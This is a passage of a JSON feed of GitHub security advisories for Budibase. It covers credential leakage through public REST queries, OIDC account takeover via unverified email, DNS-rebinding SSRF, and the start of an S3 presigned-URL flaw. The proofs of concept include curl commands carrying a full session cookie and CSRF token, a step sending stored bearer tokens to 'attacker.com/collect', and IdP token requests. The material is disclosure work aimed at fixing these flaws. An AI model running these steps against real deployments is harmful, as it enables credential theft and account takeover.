budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d '{\"datasource\":{\"name\":\"poc-rest\",\"source\":\"REST\",\"type\":\"datasource\",\"config\":{\"url\":\"https://example.org\",\"authConfigs\":[{\"_id\":\"ac1\",\"name\":\"tok\",\"type\":\"bearer\",\"config\":{\"token\":\"UNAUTH_LEAK_TOKEN_5150\"}}],\"defaultHeaders\":{\"X-Static-Secret\":\"STATIC_HDR_LEAK_4242\"}}},\"fetchSchema\":false,\"tablesFilter\":[]}' | python3 -c \"import sys,json;print(json.load(sys.stdin)['datasource']['_id'])\"); echo \"datasource=$DSID\"\n\nRESPONSE\n\ndatasource=datasource_9938805b2d0348a4a4f28dc9d1c97f19\n\n\n```\n\n\nLine 2:\n```\nQID=$(curl -s -X POST \"https://hasinocompany.budibase.app/api/queries\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d \"{\\\"datasourceId\\\":\\\"$DSID\\\",\\\"name\\\":\\\"pocq\\\",\\\"parameters\\\":[{\\\"name\\\":\\\"t\\\",\\\"default\\\":\\\"\\\"}],\\\"fields\\\":{\\\"path\\\":\\\"{{ t }}\\\",\\\"bodyType\\\":\\\"none\\\",\\\"authConfigId\\\":\\\"ac1\\\",\\\"authConfigType\\\":\\\"bearer\\\"},\\\"queryVerb\\\":\\\"read\\\",\\\"transformer\\\":\\\"return data\\\",\\\"schema\\\":{},\\\"readable\\\":true}\" | python3 -c \"import sys,json;print(json.load(sys.stdin)['_id'])\"); echo \"query=$QID\"\n```\n\nRESPONSE\n\nquery=query_datasource_9938805b2d0348a4a4f28dc9d1c97f19_7727920d8ccb4708a495eafb5a1351a7\n\n\n\nLine 3:\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/write\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" \u003e/dev/null; curl -s -X POST \"https://hasinocompany.budibase.app/api/permission/PUBLIC/$QID/read\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" \u003e/dev/null; curl -s -X POST \"https://hasinocompany.budibase.app/api/applications/app_dev_hasinocompany_bcb6316e0d014f91939c812389012415/publish\" -H \"Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJlNDYzZTM0Ni1hZmQ2LTQwNDEtODNmMS1hYmNlNzhjMmExN2QiLCJ1c2VySWQiOiJ1c19jMGY4NDE0NjAxYmQ0ZTk0YTJmMTEzMTAxYzVlNzZkNCIsImVtYWlsIjoiY3liZXJAaGFzaW5vc2VjLmxhdCIsImNzcmZUb2tlbiI6ImU5ZDJlZjQ4LTJiNmEtNDJhZC1hN2ViLTY1NzkzZDg3ZDdlYyIsInRlbmFudElkIjoiaGFzaW5vY29tcGFueSIsImlhdCI6MTc4NDAzNTU1NywiZXhwIjoxNzg0NjQwMzU3fQ.oaxPeSwQ571QDd7pPZZy-G0b4rpI6-wYQqcV2Urwlo8; budibase:auth.sig=exoCxnKfj6IDWg6z04bX4dUcPN0\" -H \"x-csrf-token: e9d2ef48-2b6a-42ad-a7eb-65793d87d7ec\" -H \"x-budibase-app-id: app_dev_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" \u003e/dev/null; echo published\n```\n\nRESPONSE\n\npublished\n\n\n\nLine 4 — THE BUG (anonymous, no cookie — this prints the leaked Bearer UNAUTH_LEAK_TOKEN_5150):\n```\ncurl -s -X POST \"https://hasinocompany.budibase.app/api/v2/queries/$QID\" -H \"x-budibase-app-id: app_hasinocompany_bcb6316e0d014f91939c812389012415\" -H \"Content-Type: application/json\" -d '{\"parameters\":{\"t\":\"https://postman-echo.com/get\"}}'\n```\n\nRESPONSE \n\n{\"data\":[{\"args\":{},\"headers\":{\"host\":\"postman-echo.com\",\"accept\":\"*/*\",\"accept-language\":\"*\",\"accept-encoding\":\"gzip, br\",\"user-agent\":\"undici\",\"sec-fetch-mode\":\"cors\",\"x-static-secret\":\"STATIC_HDR_LEAK_4242\",\"authorization\":\"Bearer UNAUTH_LEAK_TOKEN_5150\",\"x-datadog-trace-id\":\"3035031720617373998\",\"x-datadog-parent-id\":\"5509262114738533737\",\"x-datadog-sampling-priority\":\"0\",\"x-datadog-tags\":\"_dd.p.tid=6a56b19a00000000,_dd.p.llmobs_ml_app=app-service\",\"traceparent\":\"00-6a56b19a000000002a1e99450570f12e-4c74d4b43b81f569-00\",\"tracestate\":\"dd=t.tid:6a56b19a00000000;t.dm:-1;s:0;p:4c74d4b43b81f569\",\"x-forwarded-proto\":\"https\"},\"url\":\"https://postman-echo.com/get\"}],\"pagination\":{},\"headers\":{\"cf-cache-status\":\"DYNAMIC\",\"cf-ray\":\"a1b3cda318a3f0e7-DUB\",\"content-encoding\":\"gzip\",\"content-type\":\"application/json; charset=utf-8\",\"date\":\"Tue, 14 Jul 2026 22:00:58 GMT\",\"etag\":\"W/\\\"292-YpfNwvZmX1jVU7GPgCQX7hoZtMw\\\"\",\"server\":\"cloudflare\",\"set-cookie\":\"_cfuvid=lJDfxAv0j6gmoaOpkyXVKpYK0yYSlYwgBjSHcA.rn.0-1784066458.0972874-1.0.1.1-q7WOtNlMsl5YmqkV34ms7hdy4oi1sw17X9IguTaJOKE; HttpOnly; SameSite=None; Secure; Path=/; Domain=postman-echo.com\",\"vary\":\"Accept-Encoding\",\"x-envoy-upstream-service-time\":\"4\"},\"code\":200,\"size\":\"658B\",\"time\":\"139ms\"}  \n\n\n### Actual output of Line 4 (the leaked credential)\nThe anonymous request returns HTTP 200; the outbound `headers` echoed by `postman-echo.com` contain the datasource's stored, otherwise-masked credentials:\n```json\n{\"data\":[{\"headers\":{\"host\":\"postman-echo.com\",\"x-static-secret\":\"STATIC_HDR_LEAK_4242\",\"authorization\":\"Bearer UNAUTH_LEAK_TOKEN_5150\"}}]}\n```\n`authorization: Bearer UNAUTH_LEAK_TOKEN_5150` and `x-static-secret: STATIC_HDR_LEAK_4242` were delivered to a host chosen by a fully anonymous caller. Confirmed 3/3 separate runs.\n\n## Full Real-World Attack\n```\n1. A builder has a REST datasource with stored auth (Bearer/API key) and a query\n   whose path uses a parameter, published at PUBLIC (customer-facing app).\n2. The attacker needs no account. They read the published app id + query id from\n   the published app, then send ONE request:\n     POST /api/v2/queries/\u003cqueryId\u003e\n     x-budibase-app-id: \u003cprodAppId\u003e\n     {\"parameters\":{\"t\":\"https://attacker.com/collect\"}}\n3. Budibase attaches Authorization: Bearer \u003ctoken\u003e and sends it to attacker.com.\n4. attacker.com logs the header =\u003e the datasource's secret token.\n5. The attacker calls the third-party API directly as the victim organisation.\n```\n\n## Impact\n| Who / what is affected | How |\n|---|---|\n| Every REST datasource with stored auth used by a PUBLIC query | Its Bearer/Basic token + static headers are exfiltrated |\n| The third-party service behind that datasource | Attacker uses the stolen token directly (data theft / abuse) |\n| Unauthenticated attackers | One request, no login, no CSRF, no user interaction |\n| The credential-masking control | Fully defeated - masked secrets recovered in cleartext |\n\n## Recommended Fix\n1. Before attaching stored auth, require the resolved request host to equal the datasource base host (strict same-origin check); strip stored credentials on any cross-origin resolution.\n2. Reject absolute-URL query paths and host/scheme changes introduced via path parameter bindings.\n3. Re-audit the GHSA-3gp5 fix - it closed the base-URL rewrite vector only; the query-path vector remained and is now reachable unauthenticated.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-07-24T21:22:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/Budibase/budibase/security/advisories/GHSA-mqhr-6j6h-74p5","https://github.com/Budibase/budibase/pull/19239","https://github.com/Budibase/budibase/commit/8b1bca71501b11c68310351ef4f2c3028b2d5f08","https://github.com/Budibase/budibase/releases/tag/3.40.1","https://github.com/advisories/GHSA-mqhr-6j6h-74p5"],"source_kind":"github","identifiers":["GHSA-mqhr-6j6h-74p5"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.726Z","updated_at":"2026-07-26T14:00:09.139Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcWhyLTZqNmgtNzRwNc4ABfsu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcWhyLTZqNmgtNzRwNc4ABfsu","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcWhyLTZqNmgtNzRwNc4ABfsu/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocDZ2LTZqdzctZ3YyZs4ABfss","url":"https://github.com/advisories/GHSA-hp6v-6jw7-gv2f","title":" Budibase: OIDC SSO account takeover: incoming identity linked by email without checking email_verified","description":"### Summary\nBudibase's OIDC SSO login links an incoming SSO identity to an existing Budibase account **by email address alone**, without ever checking the `email_verified` claim of the OIDC ID token. Budibase first tries to match the IdP `sub`; when that misses (any fresh attacker IdP account) it silently falls back to matching by the `email` claim and **merges into the existing account by email**, preserving that account's `_id` and roles. Because the `email_verified` flag is never read, an attacker who can make a **configured/trusted** IdP emit a token carrying `email = \u003cvictim\u003e` with `email_verified = false` is logged into Budibase **as the victim**, inheriting the victim's roles (including global admin/builder). Per OIDC Core §5.7 the `email` claim MUST NOT be used as an identity key unless `email_verified` is `true`; Budibase effectively delegates all account-linking trust to every configured IdP's email-verification policy while checking nothing itself. Full account takeover of any existing Budibase user, including the instance owner.\n\n### Details\nThe OIDC verify callback extracts the email and never consults `email_verified`:\n- `packages/backend-core/src/middleware/passport/sso/oidc.ts:59` — `email: getEmail(profile, jwtClaims)`.\n- `getEmail` (`oidc.ts:113-135`) returns `profile._json.email` -\u003e`jwtClaims.email` -\u003e `preferred_username`. **No `email_verified` check.**\n- `buildJwtClaims` (`oidc.ts:99-107`) assembles claims from `_json.email`/`emails[0].value` — no verification flag is read. `grep -r email_verified packages/` -\u003e 0 hits.\n\nThe email is then used as the **account-linking key**:\n- `sso.authenticate(...)` -\u003e `packages/backend-core/src/middleware/passport/sso/sso.ts`:\n  - `:38,44` `users.getById(generateGlobalUserID(details.userId))` keyed on the IdP `sub`; for a fresh attacker IdP account this 404s and is swallowed (`:45-54`).\n  - `:57-59` **fallback:** `dbUser = await users.getGlobalUserByEmail(details.email)` -\u003e loads the **victim's** account (victim `_id` + roles) purely by email (`packages/backend-core/src/users/users.ts:100-124`, `USER_BY_EMAIL` view, no binding to the IdP `sub`).\n  - `syncUser(...)` (`sso.ts:80,102-138`) spreads `...user`, preserving the victim `_id`/`tenantId`/`roles`; only overwrites provider fields.\n- `UserDB.save` (`packages/backend-core/src/users/db.ts:235`): because `ssoUser._id` is the victim's, the `_id` branch runs (`:253`), `getById(_id)` matches the victim (`:256`), the \"Email address cannot be changed\" guard (`:257-259`) does not fire (`dbUser.email === email`), and the `EmailUnavailableError` guard (`:269-275`) is skipped (it only runs in the `!dbUser` branch). The merge proceeds silently; a session JWT is issued for the victim.\n\nPer OIDC Core §5.7, the `email` claim MUST NOT be used as an identity key unless `email_verified` is `true`. Budibase never reads the flag.\n\n**Preconditions (attack requirement — `AT:P`):** the attacker must be able to authenticate through an IdP that the Budibase instance **trusts** AND get that IdP to assert the victim's email with `email_verified = false`. This is reachable, not exotic:\n- **Self-registration with an unverified email — Keycloak and Authentik ship with *\"Verify Email\" OFF by default*; if the trusted IdP allows public sign-up, the attacker registers a new account and simply enters `email = \u003cvictim\u003e` at sign-up. No confirmation email is needed — the IdP stores and asserts it unverified.**\n- **Self-service profile editing** — many IdPs let a logged-in user change their own email without forced re-verification.\n- **Attacker-operated / federated IdP or permissive social login** — where the attacker controls or influences a trusted provider, or the provider asserts a user-typed (unverified) email.\nIt is **not** exploitable through a strict corporate IdP that enforces email verification (there `email_verified = true` and the attacker cannot claim the victim's address) — which is exactly why Budibase must check the flag rather than assume every configured IdP enforces it. The defect is unconditional on the Budibase side; the attack requirement is purely the (default, common) IdP email policy.\n\n### PoC\nReproduced live on Budibase `3.39.14` (self-hosted, community license) against a stock **Keycloak 26** realm `budi` with default \"Verify Email\" = off; OIDC client registered and activated in Budibase.\n\n**Setup:** a pre-existing **victim** global-admin Budibase account `victim@stand.local` (`_id = us_1ab2dfcf…`, local account, *no IdP link*). The attacker owns their **own** IdP account (`attacker`, distinct `sub`) and can set its email attribute unverified.\n\n**Step 1 — the IdP asserts the claim (proves `email_verified=false`):**\n```\nPOST /realms/budi/protocol/openid-connect/token   (Keycloak)\ngrant_type=password\u0026client_id=budibase\u0026client_secret=…\u0026username=attacker\u0026password=Attacker123!\u0026scope=openid email profile\n-\u003e id_token payload: { \"sub\":\"3cf58c45-…\", \"preferred_username\":\"attacker\",\n                      \"email\":\"victim@stand.local\", \"email_verified\":false }\n```\nThe authenticated principal is provably **`attacker`** (its own `sub`/`preferred_username`/password), merely *claiming* the victim's email, unverified.\n\n\u003cimg width=\"1484\" height=\"685\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cdddac3c-b7c0-4c59-aaec-9092706a7ad8\" /\u003e\n\n\n**Step 2 — drive the standard OIDC flow** as `attacker`:\n`GET /api/global/auth/default/oidc/configs/kc-oidc-1` -\u003e IdP login as `attacker`/`Attacker123!` -\u003e `GET /api/global/auth/oidc/callback?code=…\u0026state=…`.\n\n\u003cimg width=\"1145\" height=\"454\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ac0a73d0-c5fc-4d0f-b9b0-95f6273b99f7\" /\u003e\n\n\u003cimg width=\"1172\" height=\"445\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a4b27a7e-4293-4caf-957f-d27c54ea461a\" /\u003e\n\n\u003cimg width=\"1157\" height=\"648\" alt=\"image\" src=\"https://github.com/user-attachments/assets/06699774-92b0-4163-a171-9a30bc877ecc\" /\u003e\n\n\u003cimg width=\"1201\" height=\"525\" alt=\"image\" src=\"https://github.com/user-attachments/assets/92a92fcf-9d29-42ca-921d-de6fbd78198f\" /\u003e\n\n\n\n**Step 3 — result (takeover):** Budibase sets `budibase:auth` to a session JWT\n`{ \"userId\":\"us_1ab2dfcf…\", \"email\":\"victim@stand.local\", \"tenantId\":\"default\" }`, and\n`GET /api/global/self` returns the **victim**: `_id = us_1ab2dfcf…`, `admin.global = true`, `builder.global = true`, `providerType = oidc`. The attacker authenticated as a *different* IdP principal with an *unverified* email yet now holds a full global-admin session for the victim.\n\n\u003cimg width=\"1001\" height=\"456\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c8dfc25f-aed7-4cd7-9323-f029e4d1a725\" /\u003e\n\n\n**Negative control (proves the email claim is the cause, not a normal self-login):**\nA second attacker `attacker2` with a **benign** unverified email `attacker2@evil.local` (matching no Budibase user) runs the *identical* flow:\n```\nid_token: { \"sub\":\"55794bf2-…\", \"preferred_username\":\"attacker2\", \"email\":\"attacker2@evil.local\", \"email_verified\":false }\n-\u003e budibase:auth: { \"userId\":\"us_55794bf2-…\" }   (a NEW account, _id derived from the IdP sub)\n-\u003e /api/global/self: { \"_id\":\"us_55794bf2-…\", \"email\":\"attacker2@evil.local\", admin.global: null, builder.global: null }\n```\n\u003cimg width=\"1153\" height=\"489\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8f6cb849-e6f3-49f1-b576-8aeba026a3be\" /\u003e\n\n\u003cimg width=\"1089\" height=\"466\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a892ec3e-3753-4bc0-9eee-9f0613b2d92e\" /\u003e\n\n\u003cimg width=\"826\" height=\"532\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cc30bd9c-1bdb-4bea-934f-a8b3e228940e\" /\u003e\n\n\nWith a benign email the attacker gets **their own new low-privilege account**; only when the email claim equals the victim's does the same flow yield the **victim's admin account**. Same self-authentication, single variable changed = the unverified-email merge is the vulnerability.\n\n### Impact\nTakeover of any existing Budibase account by email, including the instance owner / global admin -\u003e full control of the tenant (apps, datasources, automations, user management, stored datasource credentials). The attacker authenticates as their *own* (different) IdP principal and ends up holding the victim's session and roles. The only requirement beyond a trusted IdP login is that the IdP assert the victim's email unverified — the default for a freshly-created Keycloak/Authentik realm and common in social logins (see Preconditions). Any deployment that trusts an OIDC IdP without enforced email verification is exposed; the Budibase-side flaw (ignoring `email_verified`) is unconditional.\n\n### Remediation\n**Primary fix:** in the OIDC verify path, require `email_verified === true` before using `email` to look up / link an existing account; otherwise reject the login (or fall back to `sub`-only matching and never merge into a pre-existing local/SSO account). Concretely, thread the `email_verified` claim through `buildJwtClaims`/`getEmail` (`oidc.ts`) and gate the `getGlobalUserByEmail` fallback in `sso.ts:57-59` on it.\n\n**Audit the whole class:** apply the same `email_verified` (and, for SAML, `EmailVerified`/assertion-signature) gate to every SSO strategy that links by email — OIDC, SAML, and any social provider — not only the Google strategy (which already passes `requireLocalAccount=true`). Email-based account linking anywhere must require a verified email.\n\n**Defense-in-depth for operators who cannot patch immediately:**\n- On the IdP, enable \"Verify Email\" / require verified email before issuing tokens (Keycloak: realm -\u003e Login -\u003e Verify Email = on), and restrict which email domains the IdP will assert.\n- Prefer `sub`-based account mapping over email in the IdP/Budibase mapping config where available.\n- Audit existing accounts for unexpected OIDC links to privileged users; rotate sessions.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-07-24T21:17:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-hp6v-6jw7-gv2f","https://github.com/Budibase/budibase/commit/9ecd0048d9c3ae0ee9bd0e6204c621794dd1a4d3","https://github.com/Budibase/budibase/releases/tag/3.39.30","https://github.com/advisories/GHSA-hp6v-6jw7-gv2f"],"source_kind":"github","identifiers":["GHSA-hp6v-6jw7-gv2f","CVE-2026-73302"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.728Z","updated_at":"2026-09-12T11:00:57.761Z","epss_percentage":0.00398,"epss_percentile":0.33216,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocDZ2LTZqdzctZ3YyZs4ABfss","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocDZ2LTZqdzctZ3YyZs4ABfss","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocDZ2LTZqdzctZ3YyZs4ABfss/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14ZzVnLTI2eDgtY3ZmNM4ABfsr","url":"https://github.com/advisories/GHSA-xg5g-26x8-cvf4","title":" Budibase: DNS rebinding SSRF bypasses remain in OpenAPI import and REST query execution","description":"## Impact\n\nA builder-level user can make Budibase issue server-side HTTP requests to loopback or private-network targets by using DNS rebinding against two outbound fetch paths that are still not pinned to the validated DNS answer.\n\nThe first path is OpenAPI query import. It validates the supplied hostname with the blacklist and then performs a separate raw fetch. A hostname that resolves to a public address during validation and to `127.0.0.1` during the request is accepted.\n\nThe second path is REST datasource/query execution. It calls the fixed `fetchWithBlacklist()` helper, but provides a custom undici `fetchFn` that installs a `dispatcher`. The helper passes a pinned Node `agent`, but undici uses the dispatcher and resolves the original hostname again at connection time. This defeats the DNS pinning added for the previous outbound fetch advisory.\n\nImpact is authenticated SSRF from the Budibase server process. An attacker with the relevant builder/query privileges can reach loopback or private HTTP services that should be blocked by Budibase's outbound fetch protections, subject to the normal response handling of each feature.\n\n## Reproduction\n\n1. Configure an attacker-controlled hostname so the validation lookup returns a public IP address and the later request lookup returns an internal address such as `127.0.0.1`.\n2. Start a loopback canary HTTP service on the Budibase host.\n3. For OpenAPI query import, submit an import URL such as `http://rebind.test:\u003cport\u003e/openapi.json` through the builder query import endpoints. In a harness matching the current import code, validation resolved `rebind.test` to `8.8.8.8`, the raw fetch then resolved `rebind.test` to `127.0.0.1`, and the loopback canary returned `loopback-canary-hit:/openapi.json`.\n4. For REST datasource/query execution, configure a REST datasource/query URL using the same rebinding hostname. In a harness matching the current helper plus REST undici custom fetch path, a direct loopback URL was blocked and a pinned Node-agent control did not hit loopback, but the REST undici path re-resolved the hostname to `127.0.0.1` and returned `REST-UNDICI-REBIND-CANARY` from the loopback service.\n\nObserved OpenAPI import proof:\n\n```json\n{\n  \"outcome\": \"allowed\",\n  \"body\": \"loopback-canary-hit:/openapi.json\",\n  \"lookups\": [\n    {\"phase\": \"guard\", \"hostname\": \"rebind.test\", \"address\": \"8.8.8.8\"},\n    {\"phase\": \"fetch\", \"hostname\": \"rebind.test\", \"address\": \"127.0.0.1\"}\n  ]\n}\n```\n\nObserved REST undici proof:\n\n```json\n{\n  \"directControl\": {\"outcome\": \"blocked\", \"hitsAfter\": 0},\n  \"pinnedNodeFetchControl\": {\"outcome\": \"no_loopback_hit\", \"hitsAfter\": 0},\n  \"undiciBypass\": {\n    \"outcome\": \"allowed\",\n    \"status\": 200,\n    \"body\": \"REST-UNDICI-REBIND-CANARY\",\n    \"hitsAfter\": 1\n  },\n  \"lookupTrace\": [\n    {\"phase\": \"guard\", \"hostname\": \"rebind.test\", \"address\": \"8.8.8.8\"},\n    {\"phase\": \"fetch\", \"hostname\": \"rebind.test\", \"address\": \"127.0.0.1\"}\n  ]\n}\n```\n\n## Root cause and technical details\n\nThe central helper now resolves and validates the target hostname, then passes a pinned Node `http.Agent` or `https.Agent` to the request. That protects callers whose HTTP client honors the Node `agent` option.\n\nOpenAPI query import does not use that helper. In `packages/server/src/api/controllers/query/import/index.ts`, `assertUrlIsSafe()` calls `blacklist.isBlacklisted(parsed.hostname)`, but `fetchFromUrl()` then calls `fetch(currentUrl, { redirect: \"manual\" })`. That creates a validate-then-fetch gap where DNS can change between the blacklist lookup and the actual connection.\n\nREST datasource/query execution uses the helper but changes the transport semantics. In `packages/server/src/integrations/rest.ts`, `setDispatcher()` creates an undici dispatcher with `getDispatcher({ rejectUnauthorized, url: requestUrl })`, then the custom fetch function calls `fetch(requestUrl, setDispatcher(requestInput, requestUrl))`. In `packages/backend-core/src/utils/outboundFetch.ts`, `fetchWithBlacklist()` passes the pinned Node `agent` to `fetchFn`, but undici fetch uses the supplied `dispatcher` instead. The actual connection performs a second hostname resolution and can be rebound to a blocked address.\n\nCurrent affected code is present in latest `master` and in the latest release tag `3.39.14`.\n\n## Remediation\n\nRoute OpenAPI query import through the pinned outbound fetch helper rather than validating and raw-fetching separately.\n\nMake `fetchWithBlacklist()` pin the actual connection for every supported transport. For undici callers, provide a dispatcher whose lookup or connect behavior is pinned to the validated IP, or reject custom fetch functions that do not explicitly enforce the pinned address. Add regression coverage for direct loopback blocking, DNS rebinding through OpenAPI import, DNS rebinding through REST undici dispatcher, redirect-to-loopback, IPv4-mapped IPv6, and mixed public/private DNS answers.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T21:17:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N","references":["https://github.com/Budibase/budibase/security/advisories/GHSA-xg5g-26x8-cvf4","https://github.com/Budibase/budibase/pull/19178","https://github.com/Budibase/budibase/commit/1fecb3fc3497e8db7b60b42cc514ce304ffe3a41","https://github.com/Budibase/budibase/commit/5758bdb242802ca20c4ed0dc579e4330ee898ef3","https://github.com/Budibase/budibase/commit/586802b5706367520d14245e18a7d0cabab0be11","https://github.com/Budibase/budibase/releases/tag/3.39.30","https://github.com/advisories/GHSA-xg5g-26x8-cvf4"],"source_kind":"github","identifiers":["GHSA-xg5g-26x8-cvf4"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T22:00:08.731Z","updated_at":"2026-07-26T14:00:09.151Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ZzVnLTI2eDgtY3ZmNM4ABfsr","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14ZzVnLTI2eDgtY3ZmNM4ABfsr","packages":[{"ecosystem":"npm","package_name":"@budibase/server","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.38.1"}],"purl":"pkg:npm/%40budibase%2Fserver"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ZzVnLTI2eDgtY3ZmNM4ABfsr/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14Y3g2LTRmMmctaGhneM4ABfsq","url":"https://github.com/advisories/GHSA-xcx6-4f2g-hhgx","title":" Budibase: S3 presigned URL endpoint authorization regression in v3.39.4 allows BASIC users to obtain S3 PutObject presigned URLs","description":"## Impact\n\nIn Budibase v3.39.4, a regression in the authorization level for the S3 attachment upload endpoint allows any BASIC app user to obtain S3 PutObject presigned URLs. The endpoint uses TABLE/WRITE permission level instead of the intended BUILDER level defined in v3.39.3. Additionally, the controller does not pin the target bucket to the datasource's configured bucket, allowing writes to any S3 bucket the stored IAM credentials can access.\n\n## Reproduction\n\n1. As a BASIC app user, discover or obtain a valid S3 datasource ID within the app\n2. Send a POST request:\n\n```\nPOST 